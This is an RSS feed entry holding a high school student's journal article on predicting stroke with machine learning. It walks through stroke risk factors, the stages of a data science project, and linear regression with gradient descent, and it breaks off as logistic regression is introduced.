<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>data analysis Archives - Exploratio Journal</title>
	<atom:link href="https://exploratiojournal.com/tag/data-analysis/feed/" rel="self" type="application/rss+xml" />
	<link>https://exploratiojournal.com/tag/data-analysis/</link>
	<description>Student-edited Academic Publication</description>
	<lastBuildDate>Mon, 26 Sep 2022 02:19:43 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	

<image>
	<url>https://exploratiojournal.com/wp-content/uploads/2020/07/cropped-Exploratio_icon-1-32x32.png</url>
	<title>data analysis Archives - Exploratio Journal</title>
	<link>https://exploratiojournal.com/tag/data-analysis/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Data Science Analysis of Stroke Prediction￼</title>
		<link>https://exploratiojournal.com/data-science-analysis-of-stroke-prediction%ef%bf%bc/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=data-science-analysis-of-stroke-prediction%25ef%25bf%25bc</link>
		
		<dc:creator><![CDATA[Charisse Yeung]]></dc:creator>
		<pubDate>Sun, 11 Sep 2022 16:35:22 +0000</pubDate>
				<category><![CDATA[Biology]]></category>
		<category><![CDATA[Engineering]]></category>
		<category><![CDATA[data]]></category>
		<category><![CDATA[data analysis]]></category>
		<category><![CDATA[machine learning]]></category>
		<category><![CDATA[stroke prediction]]></category>
		<guid isPermaLink="false">https://exploratiojournal.com/?p=2169</guid>

					<description><![CDATA[<p>Charisse Yeung<br />
Carlmont High School</p>
<p>The post <a href="https://exploratiojournal.com/data-science-analysis-of-stroke-prediction%ef%bf%bc/">Data Science Analysis of Stroke Prediction￼</a> appeared first on <a href="https://exploratiojournal.com">Exploratio Journal</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<div class="wp-block-media-text is-stacked-on-mobile is-vertically-aligned-top" style="grid-template-columns:16% auto"><figure class="wp-block-media-text__media"><img decoding="async" width="200" height="200" src="https://www.exploratiojournal.com/wp-content/uploads/2020/09/exploratio-article-author-1.png" alt="" class="wp-image-488 size-full" srcset="https://exploratiojournal.com/wp-content/uploads/2020/09/exploratio-article-author-1.png 200w, https://exploratiojournal.com/wp-content/uploads/2020/09/exploratio-article-author-1-150x150.png 150w" sizes="(max-width: 200px) 100vw, 200px" /></figure><div class="wp-block-media-text__content">
<p class="no_indent margin_none"><strong>Author: </strong>Charisse Yeung<br><strong>Mentor</strong>: Dr. Gino Del Ferraro<br><em>Carlmont High School</em></p>
</div></div>



<h2 class="wp-block-heading"><strong>1. Introduction</strong></h2>



<p>Today’s market is constantly altered by the rising popularity of AI and Machine Learning. Data science utilizes these technologies by solving modern problems and linking similar data for future use. Data science is extensively used in numerous industry domains, such as marketing, healthcare, finance, banking, and policy. For my research project, I used data science for healthcare, precisely stroke predictions. Stroke is the fifth leading cause of death in the United States and a leading cause of severe long-term disability worldwide. With its costly treatment and prolonged effects, prevention efforts and identification of the possibility and early stages of stroke benefit a significant population in the country, especially the disadvantaged. My goal is to help society use technology with stroke predictions. The paper is structured as follows: Section 2 introduces the cause and problem of stroke in the US population; Section 3 discusses the steps of a data science project; Section 4 introduces Machine Learning as a tool to make predictions; finally, Section 5 applies all these analyses to a data set of stroke patients to make predictions.</p>



<h2 class="wp-block-heading"><strong>2. Stroke Prediction</strong></h2>



<p>Every year, about 800,000 people in the United States are directly affected by stroke. The two major strokes are ischemic and hemorrhagic (Figure 2.1). Ischemic stroke results from a blocked artery that cuts blood to an area of the brain. North African, Middle Eastern, sub-Saharan African, North American, and Southeast Asian countries had the highest rates of ischemic stroke. Hemorrhagic stroke results from a broken or leaking blood vessel leading to blood spilling into the brain.</p>



<figure class="wp-block-image size-full is-resized"><img fetchpriority="high" decoding="async" src="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.31.12-AM.png" alt="" class="wp-image-2170" width="576" height="526" srcset="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.31.12-AM.png 916w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.31.12-AM-300x274.png 300w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.31.12-AM-768x701.png 768w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.31.12-AM-230x210.png 230w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.31.12-AM-350x319.png 350w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.31.12-AM-480x438.png 480w" sizes="(max-width: 576px) 100vw, 576px" /><figcaption>Figure 2.1 Ischemic vs. Hemorrhagic stroke</figcaption></figure>



<p>In both cases, the brain does not receive enough oxygen and nutrients, and brain cells begin to die. Risk factors for stroke are old age, overweight, physical inactivity, heavy alcohol consumption, drug consumption, smoking, hypertension, diabetes, and heart disease (Figure 2.2). One in 3 American adults has at least one of these conditions or habits: high blood pressure, high cholesterol, smoking, obesity, and diabetes. In my project, I investigated risk factors in stroke patients to find a correlation and make stroke predictions. Furthermore, I chose to focus my research on American patients since stroke risk factors are much more prevalent in the United States than in other countries.</p>



<figure class="wp-block-image size-large is-resized"><img decoding="async" src="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.31.43-AM-1024x1009.png" alt="" class="wp-image-2171" width="580" height="571" srcset="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.31.43-AM-1024x1009.png 1024w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.31.43-AM-300x296.png 300w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.31.43-AM-768x757.png 768w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.31.43-AM-920x907.png 920w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.31.43-AM-230x227.png 230w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.31.43-AM-350x345.png 350w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.31.43-AM-480x473.png 480w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.31.43-AM.png 1092w" sizes="(max-width: 580px) 100vw, 580px" /><figcaption>Figure 2.2 Risk factors of stroke</figcaption></figure>



<h2 class="wp-block-heading"><strong>3. Process of a Data Science Project</strong></h2>



<p>In problem-solving, one must follow a particular series of steps and a deliberate plan to reach a resolution. The same technique applies to a data science project. A dataset isn’t enough to solve a problem; One needs an approach or a method that will give the most accurate results. A data science process is a guideline defining how to execute a project. The general steps in the data science process include: defining the topic of research, obtaining the data, organizing the data, exploring the data, modeling the data, and finally communicating the results.</p>



<p>Before starting any data science project, the topic of the research project must be defined. It is critical to brainstorm numerous relevant research ideas and then refine the focus on one worth doing the project. Relevancy is the factor in research that helps both the data scientist and the reader develop confidence about the investigation’s findings and outcome. Relevant research topics can be social, economic, intellectual, environmental, etc., as long as they are up to date. For example, gun control would be a relevant social issue for research, and stroke prediction would be a relevant medical research idea. To get a deeper insight into the topic, thorough research on the specific topic should be conducted and explored, such as reading articles on the internet or talking to an expert on the topic. After developing a high understanding, there should be a general idea of the ultimate purpose and goal of the project. One should ask themselves: “What problem am I trying to solve?” In my case, the problem I am trying to solve is the leading cause of death by stroke annually in the US. The purpose of this project is to use data science to make stroke predictions and further limit the effects of stroke on the population by identifying the early stages of stroke with some correlations regarding stroke. Understanding and framing the problem will help build an effective model that will positively impact the organization.</p>



<h4 class="wp-block-heading"><strong>3.1 Data Acquisition</strong></h4>



<p>Next, one must find the data to be analyzed in the project. When researching for data, one should discover high-quality and targeted datasets. Not only does the topic of research needs to be relevant but also the data. Data from different sources can be extracted and sorted into categories to form a particular dataset. This process is also known as data scraping. One can find sources on the internet from research centers, government organizations, and specific websites for data scientists, such as Kaggle (Figure 2.3). The data must be accessible, so the most convenient formats for data science are CSV, JSON, or Excel files. Once the datasets have been downloaded, it is necessary to import them into an environment that can directly read data from these data sources into the data science programs. In most cases, data scientists will be using and importing the data into Python or R programming languages. In my case, I downloaded a CSV file of stroke data consisting of patients from the US and their conditions from Kaggle, and then I imported my data into the Juypter Notebook in Python for use.</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="591" src="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.33.36-AM-1024x591.png" alt="" class="wp-image-2172" srcset="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.33.36-AM-1024x591.png 1024w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.33.36-AM-300x173.png 300w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.33.36-AM-768x443.png 768w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.33.36-AM-920x531.png 920w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.33.36-AM-230x133.png 230w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.33.36-AM-350x202.png 350w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.33.36-AM-480x277.png 480w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.33.36-AM.png 1200w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Figure 3.1 Stroke patient data downloaded from Kaggle</figcaption></figure>



<h4 class="wp-block-heading"><strong>3.2 Data Cleaning</strong></h4>



<p>The data acquired and imported is not perfect on its own. Thus, the data must be organized and “clean” to ensure the best quality. Duplicate and unnecessary data are removed, and missing data are replaced. Unnecessary data could be infinities, outliers, or data that does not belong in the sample. For my project on stroke predictions, I removed the data of particular patients from the set if their BMI is infinity (Figure 3.2) or they live outside of the United States, which is the scope of our study.</p>



<figure class="wp-block-image size-large is-resized"><img loading="lazy" decoding="async" src="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.34.23-AM-1024x316.png" alt="" class="wp-image-2173" width="677" height="208" srcset="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.34.23-AM-1024x316.png 1024w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.34.23-AM-300x92.png 300w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.34.23-AM-768x237.png 768w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.34.23-AM-1536x473.png 1536w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.34.23-AM-920x284.png 920w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.34.23-AM-230x71.png 230w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.34.23-AM-350x108.png 350w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.34.23-AM-480x148.png 480w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.34.23-AM.png 1538w" sizes="(max-width: 677px) 100vw, 677px" /><figcaption>Figure 3.2 Example of infinities in a data set</figcaption></figure>



<p>There are also irrelevant data that are not as obvious and require analyzing the correlation between the parameter and the target. If the correlation is very low, it is irrelevant and should be removed. If there is a missing parameter in the dataset, locate the correct missing data instead and replace it or delete the patient from the dataset. The data is then consolidated by splitting, merging, and extracting columns to organize it and maximize its efficiency. The efficiency and accuracy of the analysis will depend considerably on the quality of the data, especially when used for making predictions.</p>



<h4 class="wp-block-heading"><strong>3.3 Data Exploration</strong></h4>



<p>A critical factor in exploring and analyzing the data is to find covariations, as mentioned earlier. Different datasets, such as numerical, categorical, and ordinal, require different treatments. Numerical data is a measurement or a count. Categorical data is a characteristic such as a person’s gender, marital status, hometown, or the types of movies they like. Categorical data can take numerical values, such as “0” indicating no and “1” indicating yes, but those numbers don’t have mathematical meaning. In my case, I used numerical data—for the age, average glucose levels, and BMI—and a categorical dataset—for gender, hypertension, heart disease, marriage status, work, residence, smoking status, and stroke. I detected patterns and trends in the data using visualization features on Python with Numpy, Matplotlib, Pandas, and Scipy. With Numpy and Matplotlib, I could plot linear regressions, bar charts, and a heat map in correlation to select parameters and the target. Using insights made by observing the visualizations and finding correlations, one can start to make conjectures about the problem being solved. This step is crucial for data modeling.</p>



<h4 class="wp-block-heading"><strong>3.4 Data Modeling</strong></h4>



<p>Data modeling is the climax of the data science process. The pre-processed data will be used for model building to learn algorithms and to perform a multi-component analysis. At this stage, a model will be created to reach the goal and solve the problem. In my case, I used a Machine Learning algorithm as the model, which can be trained and tested using the dataset. Machine Learning is the use and development of computer systems that can learn and adapt without following explicit instructions by using algorithms and statistical models to analyze and draw inferences from patterns in data. The first step to data modeling with Machine Learning is data splicing (Figure 3.3), where the entire data set is divided into two parts: training data and testing data. Generally, data scientists split 80% of their data for training and the remaining 20% for testing. The Machine Learning model is fed with the training input data to train the data. The data is then tagged according to the defined criteria so that the Machine Learning model can produce the desired output. During this operation, the model will recognize the patterns within the parameters and target of the training data. Algorithms are trained to associate certain features with tags based on manually tagged samples, then learn to make predictions when processing unseen data. The model will be tested for accuracy with the remaining 20% of the data. Since the correct parameters for each individual in the set are already known, it would be known whether the predictions made by the model are accurate by running the model with the testing data.</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" src="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.35.38-AM.png" alt="" class="wp-image-2174" width="418" height="601" srcset="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.35.38-AM.png 506w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.35.38-AM-209x300.png 209w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.35.38-AM-230x331.png 230w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.35.38-AM-350x504.png 350w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.35.38-AM-480x691.png 480w" sizes="(max-width: 418px) 100vw, 418px" /><figcaption>Figure 3.3 Diagram of the Training-Testing cycle</figcaption></figure>



<p>The goal is to maximize the model’s accuracy by making final edits and testing it. One may encounter issues during testing and must fix them before deploying the model into production. This stage builds a model that best solves the problem.</p>



<h4 class="wp-block-heading"><strong>3.5 Data Interpretation</strong></h4>



<p>The concluding step of the data science process is to execute and communicate the results made from the model. The project is completed, and the goal is accomplished. Consequently, one must present their results to an audience through a research paper or a presentation. The presentation is comprehensible to a non-technical audience. The findings could be visualized with graphs, scatterplots, heat maps, or other conceivable visualizations. Useful data visualization tools for Python are Matplotlib, ggplot, Seaborn, Tableau, and d3js. To visualize the covariance between stroke and its primary causes, I used Matplotlib and Seaborn to create a heatmap. During the presentation, report the results and carefully explain the results’ reasoning and meaning. My ultimate goal is to make predictions for strokes with given patient data, and I hope my research paper will raise awareness of this technology and its global benefits for stroke patients. A successful presentation will prompt the audience to take action in response to the purpose.</p>



<h2 class="wp-block-heading"><strong>4. Machine Learning</strong></h2>



<p>The popularity of Machine Learning, particularly its subset of Deep Learning, has rapidly grown in the past decade with skyrocketing interest in Artificial Intelligence. However, the history of Machine Learning dates back to the mid-twentieth century. Machine Learning is a subset of Artificial Intelligence that imitates human behavior and cognition. The “learning” in Machine Learning expresses how the algorithm automatically learns from the data and improves from experience by constantly tuning its parameters to find the best solution. The data set trains a mathematical model to know what to output when it sees a similar one in the future. Machine Learning can be classified into three algorithm types: Supervised Learning, Unsupervised Learning, and Reinforcement Learning (Figure 4.1). While Supervised and Unsupervised Learning is presented with a given set of data, Reinforcement Learning, known as an agent, learns by interactions with its environment. The agent makes observations and selects an action. When it takes action, it receives feedback rather than a reward or a punishment. Its goal is to maximize rewards and minimize penalties; thus, it would learn and tune its knowledge to take the actions leading to reward and avoid the activities leading to punishment.</p>



<figure class="wp-block-image size-large is-resized"><img loading="lazy" decoding="async" src="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.37.34-AM-1024x738.png" alt="" class="wp-image-2175" width="606" height="436" srcset="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.37.34-AM-1024x738.png 1024w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.37.34-AM-300x216.png 300w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.37.34-AM-768x553.png 768w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.37.34-AM-1536x1107.png 1536w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.37.34-AM-920x663.png 920w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.37.34-AM-230x166.png 230w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.37.34-AM-350x252.png 350w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.37.34-AM-480x346.png 480w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.37.34-AM.png 1660w" sizes="(max-width: 606px) 100vw, 606px" /><figcaption>Figure 4.1 Web diagram of Machine Learning</figcaption></figure>



<h4 class="wp-block-heading"><strong>4.1 Supervised &amp; Unsupervised Problems</strong></h4>



<p>The significant distinction between Supervised and Unsupervised Learning is the labeling status of the given data set. In Supervised Learning, the machine is given pre-labeled data. For my project, I used Supervised Learning and already had data from researchers who labeled each patient with or without stroke. I used a portion of this labeled data to train the model to distinguish which patients have or do not have a stroke based on their given conditions. The system would make a mapping function that uses the pre-existing data to create the best-fit curve or line and make estimations. Subsequently, I used the remaining portion of my labeled data to test the model for its accuracy. The goal is to maximize the accuracy of the model’s approximations when given new input data. In Unsupervised Learning, the machine is given unlabeled and uncategorized data, so it uses statistical methods on the data without prior training. For example, I would be using Unsupervised Learning if I were to predict which of the given patients have diabetes without previous data on diabetes. To form a model, I must analyze the data distribution and separate it based on similar patterns. Without any labeling, I would divide the patients into two groups based on their similar characteristics and behavior. Unsupervised Learning is split into two types: clustering and dimensionality reduction. In clustering, the goal is to find the inherent groupings and reveal the structure of the data. Some examples of clustering would be my previous example of predicting a patient with diabetes, targeted marketing, recommender systems, and customer segmentation. In dimensionality reduction, the goal is to reduce the number of dimensions rather than examples.</p>



<h4 class="wp-block-heading"><strong>4.2 Classification &amp; Regression</strong></h4>



<p>Supervised Learning is divided into two types: classification and regression. The goal of classification is to determine the specific labeled group the given input belongs to. The output variable would be a discrete category or a class. The only possibilities for my project are “stroke” or “no stroke.” The given data on the patients trains the model to correlate various parameters—their conditions and behavior—to the corresponding output of “stroke” or “no stroke.” The output could also be a defined set of numbers, such as “0” representing no stroke and “1” representing stroke. The accuracy of its categorization evaluates the classification algorithm. As a result, the model could predict whether a new patient would have a stroke. For regression, the outputs are continuous and have an infinite set of possibilities, generally real numbers. For instance, the machine could be estimating a house&#8217;s cost based on its location, size, and age parameters. Standard regression algorithms are linear regression, logistic regression, and polynomial regression.</p>



<p>In the following sections, I will discuss two regression models: linear and logistic regression. The former is used as an introduction to the regression problem whereas, the latter is the algorithm that I used to perform stroke predictions.</p>



<h4 class="wp-block-heading"><strong>4.3 Linear Regression</strong></h4>



<p>Linear regression uses the relationship between the points or outputs of the data to draw a straight line, known as the line of best fit, through all of them. This line of best fit is then used to predict output values. A linear function has a constant change or slope and is usually written in the mathematical form:</p>



<p><em>y = θ1x + θ0 </em>(Equation 4.1) where m is the constant slope and b is the y-intercept. When finding the line of best fit, there will be infinite possible straight lines through the values (Figure 4.2), and the <em>θ1</em>-values (slopes) and <em>θ0</em>-values (y-intercepts) will be adjusted. The “<em>θ0</em>” and “<em>θ1</em>” are the two parameters of the function. Regression is the predicting of the exact numeric value the variable would take to have the line of best fit. When given a data set, there exist various x-variables (features or input) and a y-variable (label or output). In my case, the features included gender, age, multiple diseases, and smoking status. The label is stroke or no stroke, listed as “0” and “1.” When using actual data, there will always be a distance between the actual and predicted y-values. This distance, known as the error, is minimized as much as possible to form the best fit line.</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" src="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.39.27-AM.png" alt="" class="wp-image-2176" width="568" height="449" srcset="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.39.27-AM.png 902w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.39.27-AM-300x237.png 300w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.39.27-AM-768x608.png 768w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.39.27-AM-230x182.png 230w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.39.27-AM-350x277.png 350w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.39.27-AM-480x380.png 480w" sizes="(max-width: 568px) 100vw, 568px" /><figcaption>Figure 4.2 Possible lines of best fit for a given dataset</figcaption></figure>



<p>The error is often represented by a cost function, which is the sum of the square of the actual output subtracted by the predicted output:</p>



<figure class="wp-block-image aligncenter size-large is-resized"><img loading="lazy" decoding="async" src="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.40.13-AM-1024x137.png" alt="" class="wp-image-2177" width="458" height="60" srcset="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.40.13-AM-1024x137.png 1024w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.40.13-AM-300x40.png 300w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.40.13-AM-768x103.png 768w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.40.13-AM-920x123.png 920w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.40.13-AM-230x31.png 230w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.40.13-AM-350x47.png 350w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.40.13-AM-480x64.png 480w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.40.13-AM.png 1104w" sizes="(max-width: 458px) 100vw, 458px" /></figure>



<p>where y<sub>i</sub> is the real label output, g(x) is the approximation of the output, and  (y<sub>i</sub> &#8211; g(x))  is the error. The error is squared to ensure that the result of the cost function will be the sum of positive values. The line of best fit is created when the mean square error is the smallest it can be. In Machine Learning, the data receives training to find the line of best fit using Gradient Descent, an optimization algorithm to find the local minimum of a differentiable function. The Gradient Descent can be represented with the formula:</p>



<figure class="wp-block-image aligncenter size-large is-resized"><img loading="lazy" decoding="async" src="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.40.58-AM-1024x141.png" alt="" class="wp-image-2178" width="456" height="62" srcset="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.40.58-AM-1024x141.png 1024w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.40.58-AM-300x41.png 300w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.40.58-AM-768x106.png 768w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.40.58-AM-920x127.png 920w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.40.58-AM-230x32.png 230w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.40.58-AM-350x48.png 350w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.40.58-AM-480x66.png 480w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.40.58-AM.png 1102w" sizes="(max-width: 456px) 100vw, 456px" /></figure>



<p>where ⍺ is the learning rate and <img loading="lazy" decoding="async" width="30" height="36" class="wp-image-2182" style="width: 30px;" src="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.46.48-AM.png" alt=""> is the instantaneous rate of change of the cost function at θ. The learning rate determines the magnitude of each increment of each step. Data scientists often make 0. 001 &lt; ⍺ &lt; 0. 01 because an ⍺ too large will never converge to the minimum and ⍺ too large will never converge to the minimum and ⍺ too small will take too long to reach the minimum. Moving down the function of C(θ), θ<sub>n</sub> and θ<sub>n</sub> &#8211; 1 approach each other. Once the difference is very small or |θ<sub>n</sub> &#8211; θ<sub>n-1</sub>| &lt; 0. 001, the line of best fit is found. One example of linear regression would be the number of sales based on the product&#8217;s price. There would be a set of data with various products at different prices (the inputs) and each of their sales (the outputs). Assuming the trend of the relationship between the costs and the sales is linear, one would be able to find a linear model with the slightest mean square error. Thus, one can predict the number of sales at a new price. When two inputs or independent variables exist, the function becomes three-dimensional (Figure 4.3), and the model becomes a plane of best fit.</p>



<figure class="wp-block-image size-large is-resized"><img loading="lazy" decoding="async" src="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.53.34-AM-1024x596.png" alt="" class="wp-image-2184" width="556" height="323" srcset="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.53.34-AM-1024x596.png 1024w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.53.34-AM-300x175.png 300w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.53.34-AM-768x447.png 768w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.53.34-AM-920x535.png 920w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.53.34-AM-230x134.png 230w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.53.34-AM-350x204.png 350w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.53.34-AM-480x279.png 480w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.53.34-AM.png 1062w" sizes="(max-width: 556px) 100vw, 556px" /><figcaption>Figure 4.3 Plane of best fit on a three-dimensional graph</figcaption></figure>



<h4 class="wp-block-heading"><strong>4.4 Logistic Regression</strong></h4>



<p>The data may not always fit into a linear model. For my data set on stroke predictions, the only two possible labels are stroke and no stroke or “0” and “1,” which is an example of binary classification. Thus, linear regression is non-ideal in the case of binary classification.</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" src="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.54.20-AM.png" alt="" class="wp-image-2185" width="546" height="477" srcset="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.54.20-AM.png 786w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.54.20-AM-300x262.png 300w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.54.20-AM-768x670.png 768w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.54.20-AM-230x201.png 230w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.54.20-AM-350x305.png 350w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.54.20-AM-480x419.png 480w" sizes="(max-width: 546px) 100vw, 546px" /><figcaption>Figure 4.4 Linear regression used in binary classification</figcaption></figure>



<p>The line of best fit would exceed the 0 and 1 range and not be a good representation of the data, as seen in Figure 4.4. That’s why we will be using a logistic function to model the data. A logistic function, also known as a sigmoid curve, is an “S”-shaped curve (Figure 4.5) that can be represented by the function:</p>



